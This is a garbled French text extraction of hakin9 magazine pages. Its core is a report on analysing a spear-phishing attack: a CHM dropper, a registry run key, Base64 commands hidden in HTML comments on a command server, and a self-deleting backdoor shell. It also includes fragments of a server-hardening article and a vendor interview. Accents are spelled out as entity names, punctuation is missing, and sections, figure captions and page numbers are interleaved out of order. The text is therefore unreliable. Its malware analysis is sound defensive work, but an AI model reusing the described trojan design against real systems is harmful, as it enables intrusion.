Mais la journalisations ne fait pas tout il faut aussi ef-fectuer des sauvegardes des sauvegardes systegravemes (par exemple avant une modification majeure reacutegu-liegraverement pour reacutecupeacuterer facilement apregraves un crash) mais aussi des journaux drsquoaudit Bien sucircr ces sauve-gardes doivent ecirctre proteacutegeacutees et deacutelocaliseacutees

En geacuteneacuteral la dureacutee de conservation des sauvegardes (journaux bien que systegravemes seraient un plus) doit ecirctre entre 1 agrave 2 ans (leacutegalement) permettant une reacuteponse aux requecirctes judiciaires

seacutecuriteacute et continuiteacuteUn systegravemes nrsquoest jamais complegravetement sucircr Lrsquohomme (ou la femme) le meilleur du monde ne pourra jamais seacutecuriser un systegraveme de maniegravere absolue

Il y a quand mecircme des moyens afin drsquoatteindre un niveau de seacutecuriteacute assez convenable

bull La mise en place de politique de seacutecuriteacutebull Effectuer de la veille technologiquebull Effectuer reacuteguliegraverement des audits de seacutecuriteacute sur

les systegravemesbull Le respect par tous des regravegles de seacutecuriteacute (le vi-

rus introduit sur le reacuteseau vient dans la majoriteacute des cas du grand chef ou des administrateurs locaux

bull Sensibiliser encore et encore

Bien sucircr cette liste nrsquoest pas exhaustive

ConclusionLa seacutecuriteacute dun systegraveme ne deacutepend pas que de sa mise agrave jour il deacutepend eacutenormeacutement de la maniegravere dont on administre ses service Que ce soit pour un serveur dune grande entreprise ou votre serveur agrave la maison la seacutecurisation de votre serveur ne sera jamais fini effectuez une veille technologique et appliquez la seacutecu-risation par laquo laccegraves au strict besoins raquo et vous aurez eacuteviteacute un grand nombre dattaque Malheureusement vous ne serrez jamais proteacutegeacute contre les nouvelles failles applicatives et ceux mecircme avec une infrastruc-ture conseacutequente

La seacutecuriteacute nest quun deacutebut son application na pas de fin

Agrave ProPos de LAUTeUrAutodidacte depuis plus de dix ans dans le domaine du deacuteve-loppement lauteur e ectue des audits de seacutecuriteacute informati-que pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

NoTe regravegles de bonnes conduites agrave garder sur ces systegravemes bull Le cloisonnement des mots de passe (le mecircme mot de

passe ne doit pas ecirctre utiliseacute entre les machines virtuelles et la machine physique)

bull La mise agrave jour des systegravemes en portant une attention particuliegravere sur la stabiliteacute du systegraveme maicirctre (machine physique)

bull Lrsquoapplication de droits restreints agrave lrsquoadministration des machines virtuelles (seul un administrateur doit pouvoir reacuteinitialiser une machine la dupliquer lrsquoexporter etc)

5201014

attaque

En regravegle geacuteneacuterale lrsquoobjectif dun attaquant est drsquoobtenir des informations sensibles sur un utili-sateur Mais il peut eacutegalement srsquoagir drsquoatteindre

des reacuteseaux speacutecifiques Bien souvent le pirate reacuteussit agrave convaincre lrsquoutilisateur de teacuteleacutecharger et drsquoexeacutecuter une piegravece jointe frauduleuse ou drsquointeragir avec lui

Dans le cadre de cet article et du rapport drsquoanalyse nous analyserons une attaque de type spear-phishing aborderons les meacutethodes utiliseacutees et lrsquoorigine de lrsquoatta-que Dans ce rapport une attaque par spear-phishing a eacuteteacute bloqueacutee et des actions ont eacuteteacute mises en œuvre pour comprendre les principes de fonctionnement de lrsquoat-taque Ce rapport examine les meacutecanismes utiliseacutes pour lattaque les outils de deacutesassemblage et les caracteacuteristi-ques qui ont permis aux utilisateurs de srsquoen preacutemunir

Nous avons utiliseacute plusieurs techniques drsquoinvestigation une analyse statique pour examiner lrsquoensemble des fichiers des outils comme IDA Pro Radare et Hiew pour lrsquoanalyse des fichiers binaires Nous avons eacutegalement analyseacute le malware agrave lrsquoexeacutecution en utilisant des machines virtuelles et des outils drsquoanalyse dynamiques comme Immunity De-bugger Python et Fiddler Des exeacutecutables ont eacutegalement

eacuteteacute modifieacutes pour permettre la simulation dun C amp C et linteraction eacutetant observeacutee avec la machine virtuelle Enfin la reconnaissance du reacuteseau de base a eacuteteacute effectueacutee pour surveiller les systegravemes geacutereacutes par lattaquant

Avec une attaque par spear-phishing et des techniques drsquoingeacutenierie sociale un attaquant peut aiseacutement envoyer un cheval de troie pour prendre les commandes drsquoun site Entre temps lrsquoutilisateur a mis agrave jour le site avec une commande de type download (teacuteleacutechargement) qui agrave son tour a permis au cheval de troie de creacuteer une bac-kdoor Une backdoor est une commande shell basique qui permet agrave un attaquant drsquoacceacuteder agrave un hocircte au niveau du systegraveme drsquoexploitation et ainsi cibler des reacuteseaux speacute-cifiques Le reste de cet article traitera de la reacuteponse agrave lattaque et de lanalyse des eacuteleacutements reacutecupeacutereacutes

une attaque par eacutetapes ndash analyse fonctionnelleDans cette rubrique nous allons expliquer en deacutetail ce qursquoest une attaque par spear-phishing Dans la pre-miegravere partie nous nous inteacuteresserons agrave la phase ougrave lrsquoattaquant envoie un e-mail avec une piegravece jointe frau-duleuse Cette piegravece jointe nrsquoest autre qursquoun cheval de troie qui permet de prendre le controcircle du site Lrsquoeacutetape suivante consiste pour le malware agrave teacuteleacutecharger et

Rapport drsquoanalyse drsquoune attaque par spear-phishing

Le Spear-Phishing est un phishing cibleacute lattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

Cet aRtICLe eXPLIquebull Analyse drsquoune attaque de type spear-phishing

Ce qursquoIL Faut SaVOIRbull Langage Python

adam Pridgen Matthew Wollenweber

Figure 1 Appel du fichier CHM agrave lrsquoexeacutecutable svchostexe Figure 2 Cleacute de registre relative agrave lrsquoemplacement du malware

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 15

Lorsque le programme est exeacutecuteacute une cleacute est enre-gistreacutee dans le registre de Windows pour lancer auto-matiquement le troyen au deacutemarrage de lrsquoordinateur

La figure 2 repreacutesente la cleacute de registre et son emplace-ment La cleacute est une cleacute de deacutemarrage peu utiliseacutee Lors-que la cleacute de registre est deacutefinie le fichier binaire reacutecupegravere lrsquohocircte et lrsquoURL qui permettront drsquoenvoyer des commentai-res sur le site Web Les commandes inteacutegreacutees agrave la page sont encodeacutees en Base 64 et sont comprises entre les balises lt-- hellip --gt Lrsquoanalyse statique du troyen reacutevegravele qursquoil nrsquoy a que quelques commandes connues dont

bull sleepbull downloadbull connectbull cmdbull quit

En cours drsquoanalyse seules les commandes sleep et down-load ont eacuteteacute utiliseacutees par lrsquoattaquant La commande sleep oblige au programme agrave ne rien faire pendant un laps de temps deacutetermineacute selon le paramegravetre passeacute agrave la fonction Lrsquoanalyse live a montreacute que la page de lrsquoattaquant eacutetait reacuteactualiseacutee toutes les 10 minutes La commande down-

installer une backdoor crsquoest-agrave-dire une porte deacuterobeacutee Nous discuterons eacutegalement de la porte deacuterobeacutee

Charges virales primaires et secondairesLa premiegravere eacutetape drsquoune attaque par spear-phishing correspond agrave lrsquoenvoi drsquoun e-mail laquo creacutedible raquo en utilisant des techniques drsquoingeacutenierie sociale Cet e-mail a pour but de manipuler lrsquoutilisateur en gagnant sa confiance ou en attisant sa curiositeacute Cette manipulation se sert de vraies ou fausses informations en plus drsquoinformations personnelles pour faire croire agrave lrsquoutilisateur qursquoil srsquoagit drsquoun e-mail de confiance Lorsque lrsquoutilisateur accepte lrsquoattaquant poursuit le deacuteroulement de son plan Dans le cas preacutesent nous nous inteacuteresserons uniquement agrave la piegravece jointe En effet les autres sections contiennent des informations personnelles et donc sensibles

La piegravece jointe contient un cheval de troie Avant lrsquoen-voi de lrsquoe-mail lrsquoattaquant a pris le soin de se renseigner sur lrsquoentreprise etou son utilisateur Le contenu de lrsquoe-mail est donc speacutecifique lrsquoutilisateur est suffisamment confiant pour ouvrir la piegravece jointe Lorsquelle est ouverte un cheval de troie est exeacutecuteacute et se lance en tacircche de fond sur la machine cible Dans le cas preacute-sent la piegravece jointe est au format CHM (fichier drsquoaide Microsoft compileacute en HTML) qui permet drsquoinstaller et de lancer le processus malveillant svchostexe comme illustreacute agrave la figure 3

La figure 1 preacutesente la portion de code CHM qui permet de mettre en œuvre cette technique Le fichier CHM utilise des contenus lieacutes agrave des logiciels open-source pour exploiter des failles sur la machine cible Les contenus regroupent diverses informations sur le site Web ainsi que des donneacutees officielles provenant de la Federal Reserve Board (FRB) relatives au deacutevelop-pement des fonds moneacutetaires mondiaux

Figure 3 Cheval de troie lanceacute par le fichier CHM Figure 4 Commande HTTP HEAD lanceacutee sur tous les serveurs

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

